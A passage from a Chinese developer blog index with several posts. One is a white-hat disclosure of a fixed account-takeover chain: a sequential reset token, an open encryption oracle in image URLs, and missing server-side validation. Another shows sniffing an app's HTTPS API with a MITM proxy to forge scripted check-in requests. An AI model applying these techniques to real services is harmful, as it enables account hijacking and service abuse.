上的資訊並點右邊「✔」完成新增。再次檢查「HOST RECORDS」區塊有無出現紀錄。有的話 Namecheap 這邊就設定完成了,回到 Medium 設定頁。點擊「 Continue 」繼續。出現處理中頁面,代表設定完成!這邊要說明一下 Domain 綁定 DNS 設定需要最遲 48 小時才會完全生效,最快不一定,我設定的經驗是 15 分鐘就成功了;但 48 小時內還是有可能你可以訪問帶其他人找不到。未生效時訪問網域會出現 404:要注意使用自訂網域分享出去的連結,如果之後更改自訂網域可能會導致已分享的連結失效。小問題2021/02/24 撰文時還太新,還有些問題要等 Medium 解決:Custom domains are back!但我想已經能 99% 正常運作了!是說如果取消付費會員…那會?直接失效?===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "揭露一個幾年前發現的巧妙網站漏洞", "url": "/posts/142244e5f07a/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, hacker, web-security, website-security-test, capture-the-flag", "date": "2021-02-22 21:27:06 +0800", "snippet": "揭露一個幾年前發現的巧妙網站漏洞多個漏洞合併引起的網站資安問題Photo by Tarik Haiga前言幾年前還有在邊支援網頁開發的時候;被指派任務要為公司內部工程組舉辦 CTF 競賽;一開始初想是依照公司產品分組互相攻防入侵,但身為主辦,為了想先瞭解掌握程度就先對公司旗下各產品進行入侵測試;看看我自己能找到幾個漏洞,確保活動流程不會出問題。 但最後因為比賽時間有限、工程區別差異太大;所...", "content": "揭露一個幾年前發現的巧妙網站漏洞多個漏洞合併引起的網站資安問題Photo by Tarik Haiga前言幾年前還有在邊支援網頁開發的時候;被指派任務要為公司內部工程組舉辦 CTF 競賽;一開始初想是依照公司產品分組互相攻防入侵,但身為主辦,為了想先瞭解掌握程度就先對公司旗下各產品進行入侵測試;看看我自己能找到幾個漏洞,確保活動流程不會出問題。 但最後因為比賽時間有限、工程區別差異太大;所以最後以工程共通基礎知識及有趣的方向出題,有興趣的朋友可參考我之前的文章「 如何打造一場有趣的工程CTF競賽 」;裡面有很多腦洞大開的題目!找到的漏洞一共在三個產品中找到四個漏洞,除了本文準備提及的問題之外還有以下三個常見網站漏洞被我發現: Never Trust The Client! 問題很入門,就是前端直接將 ID 送給後端,而且後端還直接認了;這邊應該要改成認 Token。 重設密碼設計缺陷 實際有點忘了,只記得是程式設計有缺陷;導致重設密碼步驟可以繞過信箱驗證。 XSS 問題 本文將介紹的漏洞查找方式一律以黑箱測試,其中只有發現 XSS 問題的產品是我有參與過程式開發,其他都沒有也沒看過程式碼。漏洞現況身為白帽駭客,所有找到的問題都已在第一時間回報工程團隊和修復了;目前也過了兩年,想想是時候可以公開了;但顧及前公司立場,本文不會提到是哪個產品出現此漏洞,大家就只要參考這個漏洞發現的歷程及原因就好!漏洞後果此漏洞可讓入侵者隨意變更目標使用者密碼,並使用新密碼登入目標使用者帳號,盜取個人資料、從事非法操作。漏洞主因如同標題所述,此漏洞是由多個原因組合觸發;包含以下因素: 帳號登入未支援兩階段驗證、設備綁定 重設密碼驗證使用流水號 網站資料加密功能存在解密漏洞 加解密功能濫用 驗證令牌設計錯誤 後端未二次驗證欄位正確性 平台上使用者信箱為公開資訊漏洞重現方式因平台上使用者信箱為公開資訊,所以我們先在平台上瀏覽目標入侵帳號;知道信箱後前往重設密碼頁。 首先先輸入自己的信箱進行重設密碼操作 再輸入想入侵帳號的信箱,一樣進行重設密碼操作以上兩個操作都會寄出重設密碼驗證信。進到自己的信箱去收自己那一封重設密碼驗證信。變更密碼連結為以下網址格式:https://zhgchg.li/resetPassword.php?auth=PvrrbQWBGDQ3LeSBBydPvrrbQWBGDQ3LeSBByd 就是此次重設密碼操作的驗證令牌。但我在觀察網站上驗證碼圖片時發現驗證碼圖片的連結格式也是類似:https://zhgchg.li/captchaImage.php?auth=6EqfSZLqDc6EqfSZLqDc 顯示出 5136 。那把我們的密碼重設 Token 塞進去會怎樣?管他的! 塞塞看! Bingo!但驗證碼圖片太小,無法得到完整的資訊。我們繼續找可利用的點…剛好網站為了防止爬蟲侵擾,會將用戶的公開個人資料信箱,用 圖片呈現 ,關鍵字: 圖片呈現!圖片呈現!圖片呈現!立刻打開來看看:個人資料頁網頁原始碼部分我們也得到了類似的網址格式結果:https://zhgchg.li/mailImage.php?mail=V3sDblZgDGdUOOBlBjpRblMTDGwMbwFmUT10bFN6DDlVbAVtV3sDblZgDGdUOOBlBjpRblMTDGwMbwFmUT10bFN6DDlVbAVt 顯示出 zhgchgli@gmail.com一樣管他的!塞爆! Bingo!🥳🥳🥳 PvrrbQWBGDQ3LeSBByd = 2395656反解出重設密碼令牌,發現是數字之後我想了該不會是流水號吧。。。於是再輸入一次信箱請求重設密碼,將新收到的信的 Token 解出來,得到 2395657 … what the fxck…還真的是知道是流水後之後就好辦事了,所以一開始的操作才會是先請求自己帳號的重設密碼信,再請求要入侵的目標;因為已經可以預測到下一個請求密碼的 id 了。 再來只需要想辦法將 2395657 換回 Token 令牌即可!好巧不巧又發現個問題 網站在編輯資料時的信箱格式驗證只有前端驗證,後端並未二次驗證格式是否正確…繞過前端驗證後,將信箱改為下一位目標 Fire in the hole!我們得到:https://zhgchg.li/mailImage.php?mail=UTVRZwZuDjMNPLZhBGI這時候將此密碼重設令牌,帶回密碼重設頁面: 入侵成功!繞過驗證重設他人密碼!最後因為沒有二階段登入保護、設備綁定功能;所以密碼被覆蓋掉之後就能直接登入冒用了。事出有因重新梳理一下整件事的流程。 一開始我們要重設密碼,但發現重設密碼的令牌實際上是一個流水號,而非真正的唯一識別 Token 網站濫用加解密功能,沒有區分功能使用;全站幾乎都用同一組 網站存在線上任意加解密入口(等於密鑰報廢) 後端未二次驗證使用者輸入 沒有二階段登入保護、設備綁定功能修正方式 最根本的是重設密碼的令牌應該要是隨機產生的唯一識別 Token 網站加解密部分,應該區分功能使用不同密鑰 避免外部可以任意操作資料加解密 後端應該要驗證使用者輸入 以防萬一,增加二階段登入保護、設備綁定功能總結整個漏洞發現之路令我驚訝,因為很多都是基本的設計問題;雖然功能上單看來說是可以運作,有小洞洞也還算安全;但多個破洞組合起來就會變成一個大洞,在開發上真的要小心謹慎為妙。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "使用 Python+Google Cloud Platform+Line Bot 自動執行例行瑣事", "url": "/posts/70a1409b149a/", "categories": "ZRealm, Dev.", "tags": "google-cloud-platform, cloud-functions, cloud-scheduler, ios-app-development, python", "date": "2021-02-20 19:55:51 +0800", "snippet": "使用 Python+Google Cloud Platform+Line Bot 自動執行例行瑣事以簽到獎勵 APP 為例,打造每日自動簽到腳本Photo by Paweł Czerwiński起源一直以來都有使用 Python 做小工具的習慣;有做正經的,工作上自動爬數據、產報表,也有不正經的,排程自動查想要的資訊或是交給腳本完成本來要手動執行的動作。一直以來「自動」這件事,我都很粗暴直接...", "content": "使用 Python+Google Cloud Platform+Line Bot 自動執行例行瑣事以簽到獎勵 APP 為例,打造每日自動簽到腳本Photo by Paweł Czerwiński起源一直以來都有使用 Python 做小工具的習慣;有做正經的,工作上自動爬數據、產報表,也有不正經的,排程自動查想要的資訊或是交給腳本完成本來要手動執行的動作。一直以來「自動」這件事,我都很粗暴直接開一台電腦掛著 Python 腳本讓他掛著跑;優點是簡單方便,缺點是要有台設備接著網路接著電;就算是樹莓派也是要消耗著微量的電費網路錢,還有也不能遠端控制啟動或關閉(其實可以,但很麻煩);這次趁著工作空擋,研究了一下免費&上雲端的方法。目標 將 Python 腳本搬到雲端執行、定時自動執行、可透過網路開啟/關閉。 本篇以我耍的小聰明,針對簽到獎勵型 APP 撰寫的自動完成簽到的腳本為例,能每日自動幫我簽到,我不用在特別打開 APP 使用;並在執行完成後發通知給我。完成通知!本篇章節順序 使用 Proxyman 進行 Man in the middle attack API 嗅探 撰寫 Python 腳本,偽造 APP API 請求(模擬簽到動作) 將 Python 腳本搬到 Google Cloud 上 在 Google Cloud 設定自動排程 因涉及到敏感領域本篇不會告知是哪個簽到獎勵型 APP,大家可以延伸自行使用 如果只想了解 Python 怎麼串自動執行可跳過前半段 Man in the middle attack API 嗅探部分,從第 3 章看起 。使用到的工具 Proxyman :Man in the middle attack API 嗅探 Python :撰寫腳本 Linebot :發送腳本執行結果通知給自己 Google Cloud Function :Python 腳本寄存服務 Google Cloud Scheduler :自動排程服務1.使用 Proxyman 進行 Man in the middle attack API 嗅探之前有發過一篇「 APP有用HTTPS傳輸,但資料還是被偷了。 」的文章,道理類似,不過這次改用 Proxyman 取代 mitmproxy;同樣免費,但更好用。 到官網 https://proxyman.io/ 下載 Proxyman 工具 下載完後啟動 Proxyman,安裝 Root 憑證(為了做 Man in the middle attack 解包 https 流量內容)「Certificate 」->「 Install Certificate On this Mac」->「Installed & Trusted」電腦的 Root 憑證裝好後換手機的:「Certificate 」->「 Install Certificate On iOS」->「Physical Devices…」依照指示在手機上掛好 Proxy 並完成憑證安裝及啟用。 在手機上打開想要嗅探 API 傳輸內容的 APP這時候 Mac 上的 Proxyman 就會出現嗅探到的流量,點擊裝置 IP 下想要查看的 APP API 網域;第一次查看需要先點「Enable only this domain」之後的流量才能被解包出來。「Enable only this domain」後就能看到新攔截的流量就會出現原始的 Request、Response 資訊: 我們使用此方法嗅探 APP 上操作簽到時打了哪隻 API EndPoint 及帶了哪些資料,將這些資訊記錄下來,等下使用 Python 直接模擬請求。 ⚠️要注意有的 APP token 資訊可能會換,導致日後 Python 模擬請求失效,還要多了解 APP token 交換的方式。 ⚠️如果確定 Proxyman 有正常運作,但在掛 Proxyman 的情況下 APP 無法發出請求,代表 APP 可能有做 SSL Pining;目前無解,只能放棄。 ⚠️APP 開發者想知道怎麼防範嗅探可參考 之前的文章 。這邊假設我們得到的資訊如下:POST /usercenter HTTP/1.1Host: zhgchg.liContent-Type: application/x-www-form-urlencodedCookie: PHPSESSID=dafd27784f94904dd586d4ca19d8ae62Connection: keep-aliveAccept: */*User-Agent: (iPhone12,3;iOS 14.5)Content-Length: 1076Accept-Language: zh-twAccept-Encoding: gzip, deflate, brAuthToken: 123452. 撰寫 Python 腳本,偽造 APP API 請求(模擬簽到動作) 在撰寫 Python 腳本之前,我們可先使用 Postman 調試一下參數,觀察看看哪個參數是必要的或是有時效會改變;但要直接照搬也可以。import requestsimport jsondef main(args): results = {} try: data = { \"action\" : \"checkIn\" } headers = { \"Cookie\" : \"PHPSESSID=dafd27784f94904dd586d4ca19d8ae62\", \"AuthToken\" : \"12345\", \"User-Agent\" : \"(iPhone12,3;iOS 14.5)\" } request = requests.post('https://zhgchg.li/usercenter', data = data, headers = headers) result = json.loads(request.content) if result['status_code'] == 200: return \"CheckIn Success!\" else: return result['message'] except Exception as e: return str(e) ⚠️ main(args) 這邊的 args 用途後面會講,如果要在本地測試直接帶 main(True) 就好。使用 Requests 套件幫我們執行 HTTP Request,如果出現:ImportError: No module named requests請先使用 pip install requests 安裝套件。加上執行結果 Linebot 通知:這部分我做的很簡單,僅共參考,僅通知自己。 前往&啟用 Line Developers Console 開發者 建立一個 Provider 選擇「Create a Messaging API channel」下一步填好基本訊息後按「Create」送出建立。 建立好之後在第一個「Basic settings」Tab 下面找到「Your user ID」區塊,這就是你的 User ID 建立好之後,選擇「Messaging API」Tab,掃描 QRCode 將機器人加入好友。 繼續往下滾找到「Channel access token」區塊,點擊「Issue」產生 token。 複製下來產生出來的 Token,我們有這組 Token 就能發訊息給使用者。 有了 User Id 跟 Token 之後我們就能發訊息給自己了。 因沒有要做其他功能所以連 python line sdk 都不用裝,直接打 http 發。串上之前的 Python 腳本後…import requestsimport jsondef main(args): results = {} try: data = { \"action\" : \"checkIn\" } headers = { \"Cookie\" : \"PHPSESSID=dafd27784f94904dd586d4ca19d8ae62\", \"AuthToken\" : \"12345\", \"User-Agent\" : \"(iPhone12,3;iOS 14.5)\" } request = requests.post('https://zhgchg.li/usercenter', data = data, headers = headers) result = json.loads(request.content) if result['status_code'] == 200: sendLineNotification(\"CheckIn Success!\") return \"CheckIn Success!\" else: sendLineNotification(result['message']) return result['message'] except Exception as e: sendLineNotification(str(e)) return str(e) def sendLineNotification(message): data = { \"to\" : \"這邊帶你的 User ID\", \"messages\" : [ { \"type\" : \"text\", \"text\" : message } ] } headers = { \"Content-Type\" : \"application/json\", \"Authorization\" : \"這邊帶channel access token\" } request = requests.post('https://api.line.me/v2/bot/message/push',json = data, headers = headers)測看看通知有沒有發成功:Success! 小插曲,通知部分我本來是想用 Gmail SMTP 用信件來發,結果上到 Google Cloud 後發現無法使用…3. 將 Python 腳本搬到 Google Cloud 上前面基本的講完了,正式進入本篇重頭戲;將 Python 腳本搬上雲端。這部分我一開始向中的是 Google Cloud Run 但用了下覺得太複雜,我實際懶得研究,因為我的需求太小用不到這麼多功能;所以 我用的是 Google Cloud Function serverless 方案;實際上比較常用來做的是構建 serverless web 服務。 如果沒使用過 Google Cloud 的朋友,請先前往 主控台 新增好專案&設定好帳單資訊 在專案主控台首頁,資源的地方點擊「Cloud Functions」 上方選擇「建立函式」 輸入基本資訊 ⚠️記下「 觸發網址」區域可選: US-WEST1 、 US-CENTRAL1 、 US-EAST1 可享 Cloud Storage 服務免費額度。 asia-east2 (Hong Kong) 靠我們比較近,但需要支付微微的 Cloud Storage 費用。 ⚠️建立 Cloud Functions 時會需要 Cloud Storage 寄存程式碼。 ⚠️詳細計價方式請參考文末。觸發條件選: HTTP驗證: 依需求,我希望我能從外部點連結執行腳本,所以選擇「允許未經驗證的叫用」;如果選擇需要驗證,後續 Scheduler 服務也要做相應設定。變數、網路及進階設定可在變數中設定變數給 Python 使用(這樣參數有變動就不用改到 Python 程式碼):在 Python 中調用的方式:import osdef main(request): return os.environ.get('test', 'DEFAULT VALUE')其他設定都不需要動,直接「儲存」->「下一步」。 執行階段選「Python 3.x」並將寫好的 Python 腳本貼上,進入點改成「main」補充 main(args) ,同前述,此項服務比較是用來做 serverless web;所以 args 實際是 Request 物件,你能從其中拿到 http get query 及 http post body 資料,具體方式如下:取得 GET Query 資訊:request_args = args.argsexample: ?name=zhgchgli => request_args = [“name”:”zhgchgli”]取得 POST Body 資料:request_json = request.get_json(silent=True)example: name=zhgchgli => request_json = [“name”:”zhgchgli”]如果使用 Postman 測試 POST 記得使用「Raw+JSON」POST 資料,否則不會有東西: 程式碼部分 OK 之後,切換到「requirements.txt」輸入有用到的套件依賴:我們使用「request」這個套件幫我們打 API,此套件不在原生 Python 庫裡面;所以我們要在這裡加上去:requests>=2.25.1這邊指定版本 ≥ 2.25.1,也可不指定只輸入 requests 安裝最新版。 都 OK 之後點擊「部署」開始部署。需要花約 1~3 分鐘的時間等他部署完成。 部署完成後可由前面記下的「 觸發網址 」前去執行查看是否正確運行,或使用「動作」->「測試函式」進行測試如果出現 500 Internal Server Error 則代表程式有錯,可點擊名稱進入查看「紀錄」,在其中找到原因:UnboundLocalError: local variable 'db' referenced before assignment 點擊名稱進入後也可按「編輯」修改腳本內容 測試沒問題就完成了!我們已經順利將 Python 腳本搬上雲端。補充關於變數部分依照我們的需求,我們需要能有個地方存放、讀取簽到 APP 的 token;因為 token 可能會失效;需要重新要求並寫入共下次執行時使用。想要從外部動態傳入變數到腳本中有以下方法: [Read Only] 前述所提到的,執行階段環境變數 [Temp] Cloud Functions 有提供一個 /tmp 目錄共執行時寫入、讀取檔案,但結束後就會刪除,詳情請參考 官方文件 。 [Read Only] GET/POST 傳送資料 [Read Only] 放入附加檔案在程式中使用相對路徑 ./ 就能讀取到, 僅限讀取無法動態修改 ;要修改只能在控制台這修改&重新部署。 想要可以讀取、動態修改就需要串接其他 GCP 服務,例如:Cloud SQL、Google Storage、Firebase Cloud Firestore… [Read & Write] 這邊我選擇的是 Firebase Cloud Firestore 因為目前只有此方案有免費額度使用。按照 入門步驟 ,建立好 Firebase 專案後;進入 Firebase 後台:在左方選單列找到「 Cloud Firestore 」->「 新增集合 」輸入集合 ID。輸入資料內容。一個集合可以有多個文件,每個文件可以有各自的欄位內容;使用上非常彈性。在 Python 中使用:請先到 GCP控制台 -> IAM與管理 -> 服務帳戶 ,按照以下步驟下載身份驗證私鑰文件:首先選擇帳號:下方「新增金鑰」->「建立新的金鑰」選擇「JSON」下載檔案。將此 JSON 檔案放到同 Python 的專案目錄下。本地開發環境下:pip install --upgrade firebase-admin安裝 firebase-admin 套件。在 Cloud Functions 上要在 requirements.txt 中多加入 firebase-admin 。環境弄好後,可以來讀取我們剛剛新增的數據了:import firebase_adminfrom firebase_admin import credentialsfrom firebase_admin import firestoreif not firebase_admin._apps: cred = credentials.Certificate('./身份驗證.json') firebase_admin.initialize_app(cred)# 因若重複 initialize_app 會報以下錯誤# providing an app name as the second argument. In most cases you only need to call initialize_app() once. But if you do want to initialize multiple apps, pass a second argument to initialize_app() to give each app a unique name.# 所以安全起見在 initialize_app 前先檢查是否已 initdb = firestore.client()ref = db.collection(u'example') //集合名稱stream = ref.stream()for data in stream: print(\"id:\"+data.id+\",\"+data.to_dict()) 如果是在 Cloud Functions 上除了可以把 身份驗證 JSON 檔一起上傳上去,也可以在使用時將連接語法改成以下使用:cred = credentials.ApplicationDefault()firebase_admin.initialize_app(cred, { 'projectId': project_id,})db = firestore.client() 如果出現 Failed to initialize a certificate credential. ,請檢查身份驗證 JSON 是否正確。新增、刪除更多操作請參考 官方文件 。4. 在 Google Cloud 設定自動排程有了腳本之後再來是要讓他自動執行才能達到我們的最終目標。 前往 Google Cloud Scheduler 控制台首頁 上方「建立工作」 輸入工作基本資料執行頻率: 同 crontab 輸入方式,如果你對 crontab 語法不熟,可以直接使用 crontab.guru 這個神器網站 :他能很直白的翻譯給你所設定的語法實際意思。(點 next 可查看下次執行時間) 這邊我設定 15 1 * * * ,因為簽到每天只需要執行一次,設在每日凌晨 1:15 執行。網址部分: 輸入前面記下的「 觸發網址 」時區: 輸入「台灣」,選擇台北標準時間HTTP 方法: 照前面 Python 程式碼我們用 Get 就好如果前面有設「驗證」 記得展開「SHOW MORE」進行驗證設定。都填好後 ,按下「 建立 」。 建立成功後可選擇「立即執行」測試一下正不正常。 可查看執行結果、上次執行日期 ⚠️ 請注意,執行結果「失敗」僅針對 web status code 是 400~500 或 python 程式有錯誤。大功告成!我們已達成將例行任務 Python 腳本上傳到雲端&設定自動排成自動執行的目標。計價方式還有一部分很重要,就是計價方式;Google Cloud、Linebot 都不是全免費服務,所以了解收費方式很重要;不然為了一個小小的腳本,付出太多的金錢那不如電腦開著掛著跑哩。Linebot參考 官方定價 資訊,一個月 500 則內免費。Google Cloud Functions參考 官方定價 資訊,每月有 200 萬次叫用、400,000 GB/秒和 200,000 GHz/秒的運算時間、 5 GB 的網際網路輸出流量。Google Firebase Cloud Firestore參考 官方定價 資訊,有 1 GB 大小容量、每月 10 GB 流量、每天 50,000 次讀取、20,000 次寫入/刪除;輕量使用很夠用了!Google Cloud Scheduler參考 官方定價 資訊,每個帳號有 3 項免費工作可設定。 對腳本來說以上免費用量就綽綽有餘啦!Google Cloud Storage 有條件免費東躲西躲,還是躲不掉可能被收費的服務。Cloud Functions 建立好之後會自動建立兩個 Cloud Storage 實體:如果剛剛 Cloud Functions 選擇的是 US-WEST1、US-CENTRAL1 或 US-EAST1 這三個地區則可享有免費使用額度:我是選擇 US-CENTRAL1 沒錯,可以看到第一個 Cloud Storage 實體的地區是 US-CENTRAL1 沒錯,但第二個是寫 美國多個地區 ; 我自已估計這項是會被收費的 。參考 官方定價 資訊,依照主機地區不同有不同的價格。程式碼沒多大,估計應該就是每個月最低收費 0.0X0 元(? ⚠️以上資訊均為 2021/02/21 時撰寫時紀錄,實際以當前價格為主,僅共參考。計價預算控制通知just in case…假設真的有狀況超出免費用量開始計價,我希望能收到通知;避免可能程式錯誤暴衝造成帳單金額報表卻渾然不知。。。 前往 主控台 找到「 計費功能 」Card:點擊「 查看詳細扣款紀錄 」進入。 展開左邊選單,進入「 預算與快訊 」功能 點擊上方「 設定預算 」 輸入自訂名稱下一步。 金額,輸入「 目標金額 」,可輸入 $1、$10;我們不希望在小東西上花太。下一步。動作這邊可以設定當預算達到多少百分比時會觸發通知。勾選 「 透過電子郵件將快訊傳送給帳單管理員和使用者 」,這樣當條件處發時就能第一時間收到通知。點擊「完成」送出儲存。當預算超過時我們就能馬上就能知道,避免產生更多費用。總結人的精力是有限的,現今科技資訊洪流,每個平台每個服務都想要榨取我們有限的精力;如果能透過一些自動化腳本分擔我們的日常生活,聚沙成塔,讓我們省下更多精力專心在重要的事情之上!===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "重灌筆記1-Laravel Homestead + phpMyAdmin 環境建置", "url": "/posts/87090f101b9a/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, php, laravel, vagrant, virtualbox", "date": "2021-02-05 14:01:41 +0800", "snippet": "[重灌筆記1] -Laravel Homestead + phpMyAdmin 環境建置從 0 到 1 建置 Laravel 開發環境並搭配 phpMyAdmin GUI 管理 MySql 資料庫Laravel 最近把 Mac Reset 一遍,紀錄一下重新還原 Laravel 開發環境的步驟。環境需求 Vagrant :虛擬環境配置工具 VirtualBox :免費虛擬機軟體,如果已...", "content": "[重灌筆記1] -Laravel Homestead + phpMyAdmin 環境建置從 0 到 1 建置 Laravel 開發環境並搭配 phpMyAdmin GUI 管理 MySql 資料庫Laravel 最近把 Mac Reset 一遍,紀錄一下重新還原 Laravel 開發環境的步驟。環境需求 Vagrant :虛擬環境配置工具 VirtualBox :免費虛擬機軟體,如果已有購買 Parallels 也可直接使 Parallels(但需要安裝 plug-in )下載、安裝完這兩個軟體後,繼續下一步設定。 VirtualBox 安裝時會要求要重新開機還有要到「設定」->「安全性與隱私權」->「Allow VirtualBox」才能啟用所有服務。配置 Homestead 環境git clone https://github.com/laravel/homestead.git ~/Homesteadcd ~/Homesteadgit checkout releasebash init.shphpMyAdmin phpMyAdmin 是一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL的資料庫管理工具,讓管理者可用Web介面管理MySQL資料庫。藉由此Web介面可以成為一個簡易方式輸入繁雜SQL語法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。 — Wiki phpMyAdmin到 phpMyAdmin 官網下載最新版本回來。解壓縮 .zip -> 資料夾 -> 重新命名資料夾名稱 -> 「phpMyAdmin」:將 phpMyAdmin 資料夾移動到 ~/Homestead 資料夾中:phpMyAdmin 設定在 phpMyAdmin 資料夾中找到 config.sample.inc.php ,將其改名為 config.inc.php ,並使用編輯器打開,修改成以下設定:<?php/* vim: set expandtab sw=4 ts=4 sts=4: *//** * phpMyAdmin sample configuration, you can use it as base for * manual configuration. For easier setup you can use setup/ * * All directives are explained in documentation in the doc/ folder * or at <https://docs.phpmyadmin.net/>. * * @package PhpMyAdmin */declare(strict_types=1);/** * This is needed for cookie based authentication to encrypt password in * cookie. Needs to be 32 chars long. */$cfg['blowfish_secret'] = ''; /* YOU MUST FILL IN THIS FOR COOKIE AUTH! *//** * Servers configuration */$i = 0;/** * First server */$i++;/* Authentication type */$cfg['Servers'][$i]['auth_type'] = 'config';/* Server parameters */$cfg['Servers'][$i]['host'] = 'localhost';$cfg['Servers'][$i]['user'] = 'homestead';$cfg['Servers'][$i]['password'] = 'secret';$cfg['Servers'][$i]['compress'] = false;$cfg['Servers'][$i]['AllowNoPassword'] = false;/** * phpMyAdmin configuration storage settings. *//* User used to manipulate with storage */// $cfg['Servers'][$i]['controlhost'] = '';// $cfg['Servers'][$i]['controlport'] = '';// $cfg['Servers'][$i]['controluser'] = 'pma';// $cfg['Servers'][$i]['controlpass'] = 'pmapass';/* Storage database and tables */// $cfg['Servers'][$i]['pmadb'] = 'phpmyadmin';// $cfg['Servers'][$i]['bookmarktable'] = 'pma__bookmark';// $cfg['Servers'][$i]['relation'] = 'pma__relation';// $cfg['Servers'][$i]['table_info'] = 'pma__table_info';// $cfg['Servers'][$i]['table_coords'] = 'pma__table_coords';// $cfg['Servers'][$i]['pdf_pages'] = 'pma__pdf_pages';// $cfg['Servers'][$i]['column_info'] = 'pma__column_info';// $cfg['Servers'][$i]['history'] = 'pma__history';// $cfg['Servers'][$i]['table_uiprefs'] = 'pma__table_uiprefs';// $cfg['Servers'][$i]['tracking'] = 'pma__tracking';// $cfg['Servers'][$i]['userconfig'] = 'pma__userconfig';// $cfg['Servers'][$i]['recent'] = 'pma__recent';// $cfg['Servers'][$i]['favorite'] = 'pma__favorite';// $cfg['Servers'][$i]['users'] = 'pma__users';// $cfg['Servers'][$i]['usergroups'] = 'pma__usergroups';// $cfg['Servers'][$i]['navigationhiding'] = 'pma__navigationhiding';// $cfg['Servers'][$i]['savedsearches'] = 'pma__savedsearches';// $cfg['Servers'][$i]['central_columns'] = 'pma__central_columns';// $cfg['Servers'][$i]['designer_settings'] = 'pma__designer_settings';// $cfg['Servers'][$i]['export_templates'] = 'pma__export_templates';/** * End of servers configuration *//** * Directories for saving/loading files from server */$cfg['UploadDir'] = '';$cfg['SaveDir'] = '';/** * Whether to display icons or text or both icons and text in table row * action segment. Value can be either of 'icons', 'text' or 'both'. * default = 'both' *///$cfg['RowActionType'] = 'icons';/** * Defines whether a user should be displayed a \"show all (records)\" * button in browse mode or not. * default = false *///$cfg['ShowAll'] = true;/** * Number of rows displayed when browsing a result set. If the result * set contains more rows, \"Previous\" and \"Next\". * Possible values: 25, 50, 100, 250, 500 * default = 25 *///$cfg['MaxRows'] = 50;/** * Disallow editing of binary fields * valid values are: * false allow editing * 'blob' allow editing except for BLOB fields * 'noblob' disallow editing except for BLOB fields * 'all' disallow editing * default = 'blob' *///$cfg['ProtectBinary'] = false;/** * Default language to use, if not browser-defined or user-defined * (you find all languages in the locale folder) * uncomment the desired line: * default = 'en' *///$cfg['DefaultLang'] = 'en';//$cfg['DefaultLang'] = 'de';/** * How many columns should be used for table display of a database? * (a value larger than 1 results in some information being hidden) * default = 1 *///$cfg['PropertiesNumColumns'] = 2;/** * Set to true if you want DB-based query history.If false, this utilizes * JS-routines to display query history (lost by window close) * * This requires configuration storage enabled, see above. * default = false *///$cfg['QueryHistoryDB'] = true;/** * When using DB-based query history, how many entries should be kept? * default = 25 *///$cfg['QueryHistoryMax'] = 100;/** * Whether or not to query the user before sending the error report to * the phpMyAdmin team when a JavaScript error occurs * * Available options * ('ask' | 'always' | 'never') * default = 'ask' *///$cfg['SendErrorReports'] = 'always';/** * You can find more configuration options in the documentation * in the doc/ folder or at <https://docs.phpmyadmin.net/>. */主要是新增修改這三項設定:$cfg['Servers'][$i]['auth_type'] = 'config';$cfg['Servers'][$i]['user'] = 'homestead'; homestead 預設 mysql 帳號密碼 homestead / secret 。配置 Homestead 設定用編輯器打開 ~/Homestead/Homestead.yaml 設定檔。---ip: \"192.168.10.10\"memory: 2048cpus: 2provider: virtualboxauthorize: ~/.ssh/id_rsa.pubkeys: - ~/.ssh/id_rsafolders: - map: ~/Projects/Web to: /home/vagrant/code - map: ~/Homestead/phpMyAdmin to: /home/vagrant/phpMyAdminsites: - map: phpMyAdmin.test to: /home/vagrant/phpMyAdmindatabases: - homesteadfeatures: - mysql: false - mariadb: false - postgresql: false - ohmyzsh: false - webdriver: false#services:# - enabled:# - \"postgresql@12-main\"# - disabled:# - \"postgresql@11-main\"# ports:# - send: 50000# to: 5000# - send: 7777# to: 777# protocol: udp IP : 預設是 192.168.10.10 可改可不 provider :預設是 virtualbox ,如果用 Parallels 才需要改 folders: 新增- map: ~/Homestead/phpMyAdminto: /home/vagrant/phpMyAdmin sites: 新增- map: phpMyAdmin.test to: /home/vagrant/phpMyAdmin如果已經有 Laravel 專案也可以一併在此新增,例如我專案都放在 ~/Projects/Web 下,所以我也先把目錄映射加上去。sites 是設定本機虛擬網域與目錄映射,我們還需要修改本地 Hosts 檔增網域虛擬機映射:使用 Finder -> Go -> /etc/hosts ,找到 hosts 檔案;複製到桌面(因無法直接修改) 網域名稱可隨意自訂,反正只有自己本機可以 Access。打開複製出來的 Hosts 檔案,增加 sites 紀錄:<homestead IP 位置> <網域名稱>修改好之後儲存,然後再剪下貼回 /etc/hosts ,覆蓋掉即可。安裝&啟動 Homestead Virtual Machinecd ~/Homesteadvagrant up --provision ⚠️請注意 ,如果沒加 --provision 則設定檔不會更新,輸入網址會出現 no input file specified 錯誤。第一次啟動,需要下載 Homestead 環境包,需要較長的時間。如果沒有出現特別的錯誤即表示啟動成功,可以下:vagrant sshssh 進入虛擬機。檢查 phpMyAdmin 是否正確連線前往 http://phpmyadmin.test/ 檢查是否正常開啟。成功!我們遇到要操作資料庫的地方,直接進來這邊修改即可。新建 Laravel 專案如果你有已存在的專案,到這一步已經可以從瀏覽器在本地運行了,如果沒有,這邊補充一下新建 Laravel 專案的方式。~/Homesteadvagrant sshvagrant ssh 進 VM,然後 cd 到 code 目錄:cd ./code下 laravel new 專案名稱,建立 Laravel 專案:(以 blog 為例)laravel new blogblog 專案建立成功!再來我們要將專案設定本機器存取測試網域:回頭打開編輯 ~/Homestead/Homestead.yaml 設定檔。在 sites 中新增一筆紀錄:sites: - map: myblog.test to: /home/vagrant/code/blog/public記得 hosts 也要加上對應紀錄:192.168.10.10. myblog.test最後重啟 homestead:vagrant reload --provision在瀏覽器輸入 http://myblog.test 測試是否正確建立&運行:完成!補充 — Mac 安裝 Composer雖然已經有用 Homestead 可以不需要另外裝 Composer,但考慮到有的 PHP 專案並不一定使用 Laravel 所以還是要在本機上安裝 Composer。 Composer複製下載區段的指令,將 php composer-setup.php 替換為:php composer-setup.php - install-dir=/usr/local/bin - filename=composerComposer v2.0.9 範例:php -r \"copy('https://getcomposer.org/installer', 'composer-setup.php');\"php -r \"if (hash_file('sha384', 'composer-setup.php') === '756890a4488ce9024fc62c56153228907f1545c228516cbf63f885e036d37e9a59d27d63f46af1d4d07ee0f76181c7d3') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;\"php composer-setup.php 